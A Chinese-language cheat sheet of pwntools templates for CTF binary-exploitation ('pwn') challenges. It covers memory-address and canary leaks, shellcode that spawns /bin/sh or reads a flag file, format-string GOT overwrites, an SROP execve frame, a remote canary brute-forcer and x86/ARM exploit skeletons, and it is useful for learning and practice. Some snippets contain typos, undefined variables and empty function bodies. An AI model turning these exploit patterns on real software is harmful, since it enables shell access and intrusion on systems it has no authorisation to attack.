PWN题常见题型脚本模版

设置环境

绑定要处理的程序

1
2
3
4
5
6
7
# 远程
# remote(ip/hostname, port)
p = remote("127.0.0.1", 8888)

# 本地
# 注意process中参数一定要有./
p = process("./pwn")

设置上下文环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 设置上下文环境主要用于一些需要上下文的漏洞利用
# 比如:shellcode的生成

# 设置操作系统
context.os = "linux"
# 设置32位的体系架构
context.arch = "i386"
# 设置64位的体系架构
context.arch = "amd64"
# 打印交互中的输入和输出
context.log_level = "debug"
# 也可以直接这样写
context(os="linux", arch="amd64", lod_level="debug")

# 清空之前的上下文
context.clear()
# 清空之前的上下文并设置为64位的体系架构
context.clear(arch="amd64")


栈溢出

接受输出

获取libc_base

1
2
3
buf = p.recvuntil("\n", drop=True)   
libc_base = u64(recv(num)[:6].ljust(8, b'\x00'))-libc.symbol['puts'] #通过方法泄露程序的地址然后解包
print(hex(libc_leak))

获取canary

1
2
3
buf = p.recvuntil("\n", drop=True)   
canary = u64(recv(8)) #通过方法泄露程序的canary
print(hex(canary))

获取程序或者libc中的信息

1
2
3
4
5
6
7
8
9
10
11
pro = ELF("./program")  # 加载样本
libc = ELF("./libc") # 加载libc

read_addr = pro.symbols["read"] # 获取read函数地址
read_plt = pro.plt["read"] # 获取read的plt表地址,内容等于symbols["read"]
read_got = pro.got["read"] # 获取read的got表地址
# search的参数为字节类型
# 获取字符串的位置
str_addr = next(pro.search(b"str"))
read_offset = libc.symbols["read"] # 获取libc中read的固定偏移值
bin_sh = next(libc.search(b"/bin/sh\x00")) # 获取/bin/sh的位置

shellcode(NX)

shellcode的生成

1
2
3
4
5
6
7
# 32位的shellcode
from pwn import *

# 配置上下文
context(os="linux", arch="i386", log_level="debug")
code = shellcraft.sh() # 汇编代码
code = asm(code) # opcode,payload中都使用这个
1
2
3
4
5
6
7
# 64位的shellcode
from pwn import *

# 配置上下文
context(os="linux", arch="amd64", log_level="debug")
code = shellcraft.sh() # 同上
code = asm(code) # 同上
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

# 上面是执行execve("/bin/sh\x00")的shellcode
# 下面展示直接读取flag文件然后打印的shellcode
context(os="linux", arch="amd64")
mmap = 0x12345678 # 可读可写内存区域

code = shellcraft.open("./flag")
code += shellcraft.read(3, mmap, 0x50)
code += shellcraft.write(1, mmap, 0x50)
code = asm(code)

# 更简洁的写法
code = asm(shellcraft.cat("flag"))

格式化字符串类型

FormatStr自动找偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

# 交互函数
def exec_fmt(pad):
p = process("./pwn")
p.sendline(pad)
info = p.recv()
return info

# 这里可以和上面的DynELF类比
fmt = FmtStr(exec_fmt)
offset = fmt.offset # 获取偏移

p = process("./pwn")
pro = ELF("./pwn")
printf_got = pro.got["printf"]
system_plt = pro.plt["system"]
# 格式化payload构造函数
# 总共四个参数:
# offset --> 偏移量
# writes --> {被覆盖的地址:要写入的地址}
# numbwritten --> 已经由printf函数写入的字节数,默认为0
# write_size --> 逐byte/short/int写入,默认是byte,这样发送的字节少
pad = fmtstr_payload(offset, {printf_got:system_plt})
p.send(pad)

# 详细的介绍链接 + 例子
# https://blog.csdn.net/A951860555/article/details/115061803

SROP

SigreturnFrame脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

# 64位
# sigreturn 代表可以触发sigreturn调用的地址
# 其gadgets如下,只要使rax = 0xf,然后进行系统调用
"""
0x001 mov rax, 0Fh
0x002 syscall
0x003 ret
"""
sigreturn = 0x001
syscall = 0x002 # syscall gadget

context.arch = "amd64"
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = sh_addr # "/bin/sh\x00"
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall

pad = padding + bytes(frame) # python3
p.send(pad)
p.interactive()

# 32位注意以下几个方面
# 1、上下文初始化
# context.arch = "i386"
# frame = SigreturnFrame(kernel="i386")
# 2、frame.eax = xx 注意寄存器的名字
# 3、syscall指令在32位下可以找int 80

爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
import binascii
context.log_level = 'debug'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']
local = 1
elf = ELF('./funcanary')
def db():
if (local):
gdb.attach(p)


def exp():
global p
if local:
p = process('./funcanary')

else:
p = remote('47.94.206.10',13858)
p.recvuntil('welcome\n')
canary = b'\x00'
for k in range(7):
for i in range(256):
print ("the " + str(k) + ": " + chr(i))
p.send('a'*104 + canary + chr(i))
a = p.recvuntil("welcome\n")
print (a)
if "fun" in a:
canary += chr(i)
print ("canary: " + canary)
break

hex_str = binascii.hexlify(canary).decode('utf-8')
hex_num = int(hex_str, 16)
canary1= hex(hex_num)
print(canary1)
yuan = 1329
flag_1 = 0x001228
pl = b'a'*104+canary+'a'*8+'\x28'+'\x72'
print(pl)
p.send(pl)
a=p.recv(timeout=0.5)
print(a)
if 'flag' in a:
p.interactive()
return
if __name__ == '__main__':
while True:
try:
exp()
continue
except KeyboardInterrupt:
break
except EOFError:
continue

PWN总脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
# -*- coding=utf-8 -*-
#!/usr/bin/env python3
# A script for pwn exp
from pwn import *
import os
import sys

context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

LOCAL = 0
LIBC = 0
elf_path = './shaokao'
libc_path = './libc.so.61'
code = ELF(elf_path)
context.arch=code.arch


r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

if (len(sys.argv) < 2):
LOCAL = 1
context.log_level = 'debug'
elif len(sys.argv) == 1:
print ("Welcome to c0ke's simplified pwntools template!!!")
print ("Usage : \n")
print (" python mode.py HOST:PORT\n ")
exit()
else:
context.log_level = 'debug'
server_ip = sys.argv[1].split(':')[0]
server_port = int(sys.argv[1].split(':')[1])


# --------------------------func-----------------------------
def db():
if (LOCAL):
gdb.attach(io)


def cat_flag():
flag_header = b'flag{'
sleep(1)
sl('cat flag')
ru(flag_header)
flag = flag_header + ru('}') + b'}'
exit(0)


# --------------------------exploit--------------------------
def exploit():




def finish():
ia()
c()


# --------------------------main-----------------------------
if __name__ == '__main__':
if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process()
else:
io = elf.process()
else:
elf = ELF(elf_path)
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)
exploit()
finish()

PWN异架构脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
# -*- coding=utf-8 -*-
#!/usr/bin/env python3
# A script for ARM exp
from pwn import *
import os
import sys
from pwn import *
import argparse
from pwnlib.util import misc

context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

pwn_arch ='arm' #riscv riscv32
link_dir = "/usr/arm-linux-gnueabi/"
pwnfile = './ret2libc_arm'
port= "8888"
LOCAL = 1



r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
leak = lambda name, addr: log.success('{} = {:#x}'.format(name, addr))
uu32 = lambda data: u32(data.ljust(4, '\0'))
uu64 = lambda data: u64(data.ljust(8, '\0'))
li = lambda x: log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')


if len(sys.argv) == 1:
print ("Welcome to c0ke's simplified pwntools template!!!")
print ("Usage : \n")
print (" python mode.py HOST:PORT\n ")
print (" python mode.py [1/0] [GDB]\n ")
exit()
elif len(sys.argv)==2:
context.log_level = 'debug'
chioce = sys.argv[1]
if chioce =='1':
GDB = 1
else:
GDB = 0

else:
LOCAL = 0
context.log_level = 'debug'
server_ip = sys.argv[1].split(':')[0]
server_port = int(sys.argv[1].split(':')[1])

elf = ELF(pwnfile)
rop = ROP(pwnfile)
context.binary = pwnfile
#context.gdbinit = "~/.gdbinit"
libcfile = link_dir + "lib/libc.so.6"
#libcfile = "./libc-2.28.so"
libc = ELF(libcfile)

# --------------------------func-----------------------------
def pwn_init():
if GDB == 1:
# payload_search_pid = "ps -A|grep 'qemu'|awk '{print $1}'"
# pid = os.popen(payload_search_pid).readline().replace("\r","").replace("\n","")
# print("pid is :", pid)
# print(io.pid)
# assert(str(io.pid) == pid)
# pid = str(io.pid)
# payload_search_libcbaseaddr = "cat /proc/" + pid + "/maps |grep libc-|awk -F \- '{if(NR==1) print \"0x\" $1}'"
# print(payload_search_libcbaseaddr)
# libc_base_addr = os.popen(payload_search_libcbaseaddr).readline().replace("\r","").replace("\n","")
# libc_base_addr = int(libc_base_addr ,16)
# print( "libc addr is :" , hex(libc_base_addr))
# payload_search_libcpath = "cat /proc/" + pid + "/maps |grep libc-|awk '{if(NR==1) print $6}'"
# libc_file_path = os.popen(payload_search_libcpath).readline().replace("\r","").replace("\n","")
# print("libc file path is:" , libc_file_path)
# print(io.libc.path)
attach_payload ="""
gdb-multiarch \
-ex "file {0}"\
-ex "set architecture {2}" \
-ex "target remote 127.0.0.1:{1} "\
""".format(pwnfile , port , pwn_arch)
pwnlib.util.misc.run_in_new_terminal(attach_payload)


def cat_flag():
flag_header = b'flag{'
sleep(1)
sl('cat flag')
ru(flag_header)
flag = flag_header + ru('}') + b'}'
exit(0)


# --------------------------exploit--------------------------
def exploit():





def finish():
ia()
c()


# --------------------------main-----------------------------
if __name__ == '__main__':
if LOCAL:
if GDB:
io = process(["qemu-" + pwn_arch , "-L" , link_dir ,"-g",port, pwnfile])
else:
io = process(["qemu-" + pwn_arch , "-L" , link_dir, pwnfile])

else:
io = remote(server_ip, server_port)
pwn_init()
exploit()
finish()